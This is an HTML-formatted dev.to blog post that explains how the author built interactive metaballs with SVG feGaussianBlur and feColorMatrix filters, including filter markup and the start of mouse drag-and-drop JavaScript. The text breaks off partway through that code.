&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fn2z7fig532dtoz4prtto.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fn2z7fig532dtoz4prtto.gif" alt="Gallery using metaballs"&gt;&lt;/a&gt;&lt;br&gt;
&lt;small&gt;Note that the gallery doesn't work when following the canva.com link directly, but it does work when accessing it from the web archive website.&lt;/small&gt;&lt;/p&gt;

&lt;p&gt;In this post, I'll share with you a bit of my path to enlightenment with these balls, and how I implemented them on my own, using only two SVG filters.&lt;/p&gt;

&lt;p&gt;If you want to check the final result first, check out the playground on my website: &lt;a href="https://garand.dev/projects/metaballs/" rel="noopener noreferrer"&gt;https://garand.dev/projects/metaballs/&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Getting started
&lt;/h1&gt;

&lt;p&gt;Let's start with the obvious questions: &lt;em&gt;What are metaballs?&lt;/em&gt; The &lt;a href="https://en.wikipedia.org/wiki/Metaballs" rel="noopener noreferrer"&gt;wikipedia&lt;/a&gt; definition isn't quite clear:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;In computer graphics, metaballs are organic-looking n-dimensional isosurfaces, characterised by their ability to meld together when in close proximity to create single, contiguous objects.  &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Simplified, metaballs are &lt;em&gt;blobs&lt;/em&gt;, which can feel some sort of attraction within each other, and can fuse into a single entity whenever they're near each other.&lt;/p&gt;
&lt;h1&gt;
  
  
  Implementation 1 - FabricJS and geometric operations
&lt;/h1&gt;

&lt;p&gt;To skip this section and go straight to the final solution, click here!&lt;/p&gt;

&lt;p&gt;The first idea I had was to use a purely geometric approach, inspired by &lt;a href="http://shspage.com/aijs/en#metaball" rel="noopener noreferrer"&gt;this&lt;/a&gt; illustrator plugin: The two blobs (A and B) could be bridged with a rectangle (E), and then I could "subtract" two circles (C and D) to make a blobby feeling!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fg0pbvjnyxvbk712fzsnp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fg0pbvjnyxvbk712fzsnp.png" alt="Exploded view of the blob attempt"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I actually implement this a while back, using FabricJS, you can find the playground &lt;a href="https://antonygarand.github.io/fabricjs-metaballs/" rel="noopener noreferrer"&gt;here&lt;/a&gt; (&lt;a href="https://github.com/AntonyGarand/fabricjs-metaballs" rel="noopener noreferrer"&gt;source code&lt;/a&gt;), and it did look fine!&lt;br&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Ftohuqu9b5tj9ms5ivmjs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Ftohuqu9b5tj9ms5ivmjs.png" alt="Initial implementation of the metaballs"&gt;&lt;/a&gt;&lt;br&gt;
You can actually see the different segments when it didn't fully update between frames, which I find interesting:&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fgi5wquj83qes3m1u83j5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fgi5wquj83qes3m1u83j5.png" alt="Broken bridge between blobs"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But it had its share of issues: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Performance followed an exponential growth
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As each element had to compare and create a bridge for each neighbor, it didn't scale as well as other approaches.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;There was no middle ground between "attached" and "detached"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There were no clean ways of creating a magnetic type of attractiveness where the balls would reach for each other, which I absolutely wanted.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It only worked with circles, or ovals&lt;/li&gt;
&lt;li&gt;It didn't handle well having multiple collisions
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When a metaball was within reach of few others, each bridge was independent of each other, giving odd results when they overlapped&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Faghqy8xn21ba2a8g5o5y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Faghqy8xn21ba2a8g5o5y.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Therefore, I ditched this approach, and looked for a better solution.&lt;/p&gt;
&lt;h1&gt;
  
  
  Implementation 2
&lt;/h1&gt;

&lt;p&gt;Two years later, looking through my old experiments on github, I found the project and decided to tackle it once more, but this time solving the issues I had with the first version.&lt;/p&gt;

&lt;p&gt;I found &lt;a href="https://blobs.webflow.io/" rel="noopener noreferrer"&gt;this post&lt;/a&gt; on webflow from &lt;a href="https://twitter.com/vinchubang" rel="noopener noreferrer"&gt;@vinchubang&lt;/a&gt; which used &lt;code&gt;blur&lt;/code&gt; and &lt;code&gt;contrast&lt;/code&gt; to achieve their blobs: First, blurring the blobs themselves, and then setting the brightness and contrast to a high value to remove the regions with a low opacity while increasing the visibility of others with a high-enough opacity.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F5ruqc1scgdz8baomg7k8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F5ruqc1scgdz8baomg7k8.png" alt="Creating two balls"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fq0pn16xp05rjoa8dgkv9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fq0pn16xp05rjoa8dgkv9.png" alt="Adding a blur filter"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fptmv7cvfw4uo6k9djju5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fptmv7cvfw4uo6k9djju5.png" alt="Adding excessive contrast"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;One big limitation with the use of the &lt;code&gt;contrast&lt;/code&gt; filter is the requirement of uniform background, it doesn't support transparency or any type of dynamic coloring. These are limitations I'd like to get rid of, because I can!&lt;/p&gt;
&lt;h2&gt;
  
  
  Starting out
&lt;/h2&gt;

&lt;p&gt;With this new knowledge in mind, there are few essential steps for the technique to work:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Blur the elements&lt;/li&gt;
&lt;li&gt;Set the opacity of everything with an opacity below a threshold to 0, aka. remove it&lt;/li&gt;
&lt;li&gt;Set the opacity of everything with an opacity equal or above the threshold to 1, making it fully visible.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In these step, &lt;code&gt;opacity&lt;/code&gt; refers to the final opacity of the different layers, once they were &lt;a href="https://en.wikipedia.org/wiki/Alpha_compositing#Alpha_blending" rel="noopener noreferrer"&gt;alpha blended&lt;/a&gt; together, where the more layers of elements there are, the more opaque the color.&lt;/p&gt;
&lt;h2&gt;
  
  
  The Blur
&lt;/h2&gt;

&lt;p&gt;I started with the first step, blurring the elements. To do so, I used the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feGaussianBlur" rel="noopener noreferrer"&gt;feGaussianBlur&lt;/a&gt; filter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;svg&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"100%"&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"100%"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;defs&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;filter&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"gooify"&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"400%"&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;"-150%"&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"400%"&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;"-150%"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;feGaussianBlur&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"blurElement"&lt;/span&gt; &lt;span class="na"&gt;in=&lt;/span&gt;&lt;span class="s"&gt;"SourceGraphic"&lt;/span&gt; &lt;span class="na"&gt;stdDeviation=&lt;/span&gt;&lt;span class="s"&gt;"20"&lt;/span&gt; &lt;span class="na"&gt;result=&lt;/span&gt;&lt;span class="s"&gt;"blur"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/filter&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/defs&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;g&lt;/span&gt; &lt;span class="na"&gt;filter=&lt;/span&gt;&lt;span class="s"&gt;"url(#gooify)"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;circle&lt;/span&gt; &lt;span class="na"&gt;cx=&lt;/span&gt;&lt;span class="s"&gt;"200"&lt;/span&gt; &lt;span class="na"&gt;cy=&lt;/span&gt;&lt;span class="s"&gt;"200"&lt;/span&gt; &lt;span class="na"&gt;r=&lt;/span&gt;&lt;span class="s"&gt;"90"&lt;/span&gt; &lt;span class="na"&gt;fill=&lt;/span&gt;&lt;span class="s"&gt;"red"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;circle&lt;/span&gt; &lt;span class="na"&gt;cx=&lt;/span&gt;&lt;span class="s"&gt;"400"&lt;/span&gt; &lt;span class="na"&gt;cy=&lt;/span&gt;&lt;span class="s"&gt;"200"&lt;/span&gt; &lt;span class="na"&gt;r=&lt;/span&gt;&lt;span class="s"&gt;"90"&lt;/span&gt; &lt;span class="na"&gt;fill=&lt;/span&gt;&lt;span class="s"&gt;"red"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/g&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that I added a lot of space for the width and height of the filter for the blur to avoid being cut once it reaches the edge.  &lt;/p&gt;

&lt;p&gt;As expected, this resulted in blurry red circles!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F83bery6wi9s3t6eeprlt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F83bery6wi9s3t6eeprlt.png" alt="Two blurry red circles"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The opacity
&lt;/h2&gt;

&lt;p&gt;The next step was to juggle with the opacity without requiring a solid background.&lt;br&gt;&lt;br&gt;
After looking at the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/filter#See_also" rel="noopener noreferrer"&gt;available filters&lt;/a&gt;, I ended up using &lt;a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feColorMatrix" rel="noopener noreferrer"&gt;feColorMatrix&lt;/a&gt;, which can manipulate the alpha data independently from the other channels!&lt;/p&gt;

&lt;p&gt;As its name implies, it uses a &lt;a href="https://en.wikipedia.org/wiki/Matrix_(mathematics)" rel="noopener noreferrer"&gt;matrix&lt;/a&gt;, essentially a 2d array, where each value controls a single parameter.&lt;br&gt;
There are 4 rows, representing &lt;a href="https://en.wikipedia.org/wiki/RGBA_color_model" rel="noopener noreferrer"&gt;RGBA&lt;/a&gt;, and 5 columns, one per RGBA input and one to control perform an additional shift.&lt;br&gt;&lt;br&gt;
While it does sound kind of complex, in this case all that matters are two values, the two last ones, which I'll explain in more details shortly.&lt;br&gt;&lt;br&gt;
There are only two values which matter to get the desired effect:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The penultimate value&lt;br&gt;
This value multiplies the alpha layer (opacity) by its value, allowing us to increase the opacity of the blurred image.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The last value&lt;br&gt;
This value is a final shift via an addition: It adds the value by the amount specified&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With these two value, we can mimic an opacity threshold, by setting a high multiplier, and a small negative shift value.&lt;/p&gt;

&lt;p&gt;The exact formula would to get our result is &lt;code&gt;originalAlpha * multiplier + shift&lt;/code&gt;, where one &lt;code&gt;shift&lt;/code&gt; unit is equivalent to &lt;code&gt;100%&lt;/code&gt; opacity.&lt;br&gt;
I've made a &lt;a href="https://docs.google.com/spreadsheets/d/1E3XxWY22yPE4cCIiQvct8lYb7q-V1VgUdyXHiUtesRg/edit?usp=sharing" rel="noopener noreferrer"&gt;quick spreadsheet&lt;/a&gt; to demonstrate the impact of both values on the resulting opacity:&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Foxyckw3y0nae26lmvmb9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Foxyckw3y0nae26lmvmb9.png" alt="Spreadsheet image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As the opacity is 8 bits of data, its maximum value is &lt;code&gt;255&lt;/code&gt;, so using it as the multiplier should give us a perfect granularity for our threshold. Then, for a threshold of 60%, we can define a shift of &lt;code&gt;-153&lt;/code&gt;!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F9c3jsam1wrtutrdv2gps.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F9c3jsam1wrtutrdv2gps.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's start with an &lt;a href="https://en.wikipedia.org/wiki/Identity_matrix" rel="noopener noreferrer"&gt;Identity Matrix&lt;/a&gt;, which does no changes on the incoming image. Then, adding the two modifiers into the matrix, we get a crisp looking result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;filter&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"gooify"&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"400%"&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;"-150%"&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"400%"&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;"-150%"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;feGaussianBlur&lt;/span&gt; &lt;span class="na"&gt;in=&lt;/span&gt;&lt;span class="s"&gt;"SourceGraphic"&lt;/span&gt; &lt;span class="na"&gt;stdDeviation=&lt;/span&gt;&lt;span class="s"&gt;"20"&lt;/span&gt; &lt;span class="na"&gt;result=&lt;/span&gt;&lt;span class="s"&gt;"blur"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;feColorMatrix&lt;/span&gt; &lt;span class="na"&gt;in=&lt;/span&gt;&lt;span class="s"&gt;"blur"&lt;/span&gt; &lt;span class="na"&gt;mode=&lt;/span&gt;&lt;span class="s"&gt;"matrix"&lt;/span&gt; &lt;span class="na"&gt;values=&lt;/span&gt;&lt;span class="s"&gt;"1 0 0 0 0
                                                   0 1 0 0 0
                                                   0 0 1 0 0
                                                   0 0 0 255 -153"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/filter&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fkqejol81g5itxghcndfj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fkqejol81g5itxghcndfj.png" alt="Crisp metaballs"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, notice that there are only fully opaque or fully transparent pixels. Using a multiplier of 255 has the bad side effect of removing all forms of &lt;a href="https://en.wikipedia.org/wiki/Spatial_anti-aliasing" rel="noopener noreferrer"&gt;anti aliasing&lt;/a&gt; for the blobs.&lt;br&gt;&lt;br&gt;
To add a bit of smoothness, I added reduced the values by an order of magnitude, setting the multiplier to &lt;code&gt;25&lt;/code&gt; and the shift to &lt;code&gt;-15&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fanu9uioao8vvh7rlkp1x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fanu9uioao8vvh7rlkp1x.png" alt="Smooth metaballs"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is a lot smoother, even though some of the edges of the bridges are a bit blurry!&lt;br&gt;&lt;br&gt;
I'm sure I could get a better result by tweaking the values, but it's good enough for the moment. &lt;/p&gt;
&lt;h1&gt;
  
  
  Interactivity
&lt;/h1&gt;

&lt;p&gt;While having metaballs is nice, it's not fun if we can't interact with them!&lt;br&gt;
I won't go for a full gallery just yet, but start with simple drag and drop controls with the mouse.&lt;br&gt;&lt;br&gt;
The code should be self-explanatory: There is one variable to store the element being moved, and another one to store the X and Y offset of the original click, as well as the &lt;code&gt;mousedown&lt;/code&gt;, &lt;code&gt;mousemove&lt;/code&gt; and &lt;code&gt;mouseup&lt;/code&gt; events to move the circles.&lt;br&gt;
Ideally, I would also add the mobile event  &lt;code&gt;touch[start|move|end]&lt;/code&gt;, but click only will do for this proof of concept!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;$$&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Moving the circles using the mouse&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;isMoving&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;offset&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;y&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="nf"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;circle&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;circle&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;circle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;mousedown&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;isMoving&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;circle&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;clientX&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;circle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;attributes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;clientY&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;circle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;attributes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;svg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;svg&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;svg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;mousemove&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;isMoving&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;newPosition&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
